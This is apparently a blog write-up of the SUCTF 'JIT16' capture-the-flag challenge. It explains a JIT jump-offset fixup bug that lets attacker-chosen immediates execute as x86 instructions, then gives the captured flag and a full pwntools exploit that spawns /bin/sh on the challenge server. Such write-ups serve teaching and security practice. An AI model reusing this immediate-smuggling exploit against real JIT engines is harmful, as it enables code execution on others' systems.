SUctf-JIT16


逆向分析

寄存器 : ax, bx, cx, dx

opcode:

mov指令

opcode == 0x00:

​ mov reg1, reg2

opcode == 0x01:

​ mov ax, imm

load指令

0x60

0x61

store指令

opcode==0x70

​ mov BYTE PTR [r8+reg1*1], reg2

opcode==0x71

​ mov WORD PTR [r8+reg1*1], reg2

jmp指令

opcode==0x50:

​ jmp offset #以4字节为单位jmp

opcode==0x51:

​ je 0x13

alu指令

neg 0x41

漏洞分析&&攻击思路

漏洞点出现在jmp指令,开始还感觉很奇怪,直接编译成了一个固定的偏移:

后来仔细观察发现,会在下面这个函数中进行偏移的修正

这里就要注意x86_64汇编中的跳转指令了,当距离在-128~127之间是短跳转指令,只占两个字节,当超过这个距离之后,就要用长跳转指令,其指令长度为5个字节,漏洞就出现在这里:

可以从下图中看到,该函数首先从指令中取出立即数并计算目标地址,如果偏移过大需要长跳转指令,则需要重新修改指令:

新的指令长度如下:

而原来的指令是2,也就是我们当前的指令长度凭空变长了3;

然后在该函数退出之后,会重新调整每条指令的地址:

也就是在每个指令检查过后(只检查jmp其实)都会调整指令的地址,同时由于跳转指令都是用的偏移地址,因此只要起始地址和目标地址的相对位置不变,就不会出错;但是漏洞还是发生在了一个细微之处,如果此时发生了一个长跳转,那么修改完指令之后,该jmp指令及其之前的指令的地址都是正确的,而其后边的指令地址目前来看都是少了3字节的;那么如果此时继续向后分析,遇到了一个新的跳转指令,那么在分析过程中,包括这个jmp指令在内的、向后的指令的地址都是错误的,而它前面的指令的地址都是正确的,那么如果此时这个指令的偏移是一个负数,也就是向前跳转,就会出现“从一个错误的地址跳转到一个正确的地址”的现象,那么就会发生偏移计算错误、最终跳转目标错误的情况;

正是利用这个问题,我们可以使得控制流跳转到某条指令的中间部分,而这个指令如果是包含立即数的,我们就可以在立即数中部署一些指令片段,从而使得其执行一些非法的指令;

由于是16位虚拟机,立即数只有2字节,因此我们的非法指令至多2字节,而由于起初大多数寄存器被清零了,同时r8为mmap的一片不可写的地址,但是通过调试可以发现r8+0x1000是可写的,我们在这里部署/bin/sh字符串,首先多次利用mov指令在这片内存中写入”/bin/sh”,然后通过跳转漏洞两次分别构造非法指令push r8,pop rax ,将r8放入rax中,然后利用虚拟机提供的指令使rax自增0x1000指向”/bin/sh”,然后再次利用跳转漏洞构造非法指令”push rax; pop rdi”(一次就行);之后继续利用跳转漏洞构造非法指令”xor rax, rax” (没办法,16位虚拟机清空不了)之后利用虚拟机提供的之后将rax赋值为0x3b(系统调用号),最后再利用因此跳转漏洞构造非法指令syscall,最终实现execve(“/bin/sh”, 0, 0)

攻击成功

SUCTF{Jump_T0_she11c0de_1n_1_byt3_di3Kj43jG1js}

exp

from pwn import *
import sys

file = "./pwn"
if len(sys.argv) == 1 or sys.argv[1] == 'l':
sh = process(file)
elif sys.argv[1] == 'r':
sh = remote("1.95.131.201", 10001)
elf = ELF(file)

def ru(string):
sh.recvuntil(string)
def dbg(con=''):
if len(sys.argv) > 1 and sys.argv[1] == 'r':
return
if isinstance(con, int):
con = "b *$rebase(" + hex(con)+")"
gdb.attach(sh, con)
pause()
def sl(content):
sh.sendline(content)
def itr():
sh.interactive()
context.log_level = 'debug'
def get_heap():
res = 0
res = u64(sh.recvuntil("\x55", timeout=0.2)[-6:].ljust(8, b'\x00'))
if res == 0:
res = u64(sh.recvuntil("\x56", timeout=0.2)[-6:].ljust(8, b'\x00'))
return res
def get_libc():
res = 0
res = u64(sh.recvuntil("\x7f", timeout=0.2)[-6:].ljust(8, b'\x00'))
if res == 0:
res = u64(sh.recvuntil("\x7e", timeout=0.2)[-6:].ljust(8, b'\x00'))
return res
def get_tcache():
res = u64(sh.recvuntil("\x05")[-5:].ljust(8, b"\x00"))
return res
def jmp(off): #以4字节为单位jmp
return p8(0x50)+p8(0)+p16(off)
def je():
return p32(0x51)
def mov_imm(reg1, imm):
res = p8(1) + p8(reg1<<4) +p16(imm)
return res
def load_w(reg1, reg2):
byte1 = (reg2&0xf) | (reg1 << 4)
res = p8(0x61) + p8(byte1) + p16(0)
return res
def store_w(reg1, reg2):
byte1 = (reg2&0xf) | (reg1 << 4)
res = p8(0x71) + p8(byte1) + p16(0)
return res
def hlt():
return p32(0x90)
def clc():
return p32(0x81)
def stc():
return p32(0x80)
def neg(reg):
return p8(0x41) + p8(reg1<<4) +p16(0)
def sub(reg1, reg2):
byte1 = (reg2&0xf) | (reg1 << 4)
return p8(0x20) + p8(byte1) + p16(0)
def je(off):
return p8(0x51)+p8(0)+p16(off)
def add(reg1, reg2):
byte1 = (reg2&0xf) | (reg1 << 4)
return p8(0x10) + p8(byte1) + p16(0)
def func():

ru("Input ur code:")
binsh = mov_imm(2, 0x1000) + mov_imm(0, 0x622f) + store_w(2, 0) + mov_imm(0, 0x6e69) + mov_imm(2, 0x1002) + store_w(2, 0)
binsh += mov_imm(0, 0x732f) + mov_imm(2, 0x1004) + store_w(2, 0) + mov_imm(0, 0x0068) + mov_imm(2, 0x1006) + store_w(2, 0)
push_r8 = mov_imm(2, 0x5041*2) + clc() + mov_imm(1, 0x5041) + jmp(0x22) + mov_imm(0, 0x3b)*0x22 + sub(2, 1) + je(4) + jmp(0x10000-0x28) + clc()*3
pop_rax = mov_imm(2, 0x5841*2) + clc() + mov_imm(1, 0x5841) + jmp(0x22) + mov_imm(0, 0x3b)*0x22 + sub(2, 1) + je(4) + jmp(0x10000-0x2a) + clc()*3
add_rax_0x1000 = mov_imm(2, 0x1000) + add(0, 2)
push_rax_pop_rdi = mov_imm(2, 0x5f50*2) + clc() + mov_imm(1, 0x5f50) + jmp(0x22) + mov_imm(0, 0x3b)*0x22 + sub(2, 1) + je(4) + jmp(0x10000-0x2c) + clc()*3
push_rdx_pop_rax = mov_imm(2, 0x5852*2) + clc()*2 + mov_imm(1, 0x5852) + jmp(0x22) + mov_imm(0, 0x3b)*0x22 + sub(2, 1) + je(4) + jmp(0x10000-0x30) + clc()*3
execve = mov_imm(0, 0x3b) + clc()*2 + mov_imm(1, 0x050f) + jmp(0x22) + clc() + mov_imm(1, 0x050f)*0x23 + jmp(0x10000-0x2f)

code = binsh + push_r8 + pop_rax + add_rax_0x1000 + push_rax_pop_rdi + push_rdx_pop_rax + execve

#dbg(0x1F7D )
dbg(0x274D)
sh.send(code)

sh.interactive()

if __name__ == "__main__":
func()


文章作者: q1ming
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 q1ming !
  目录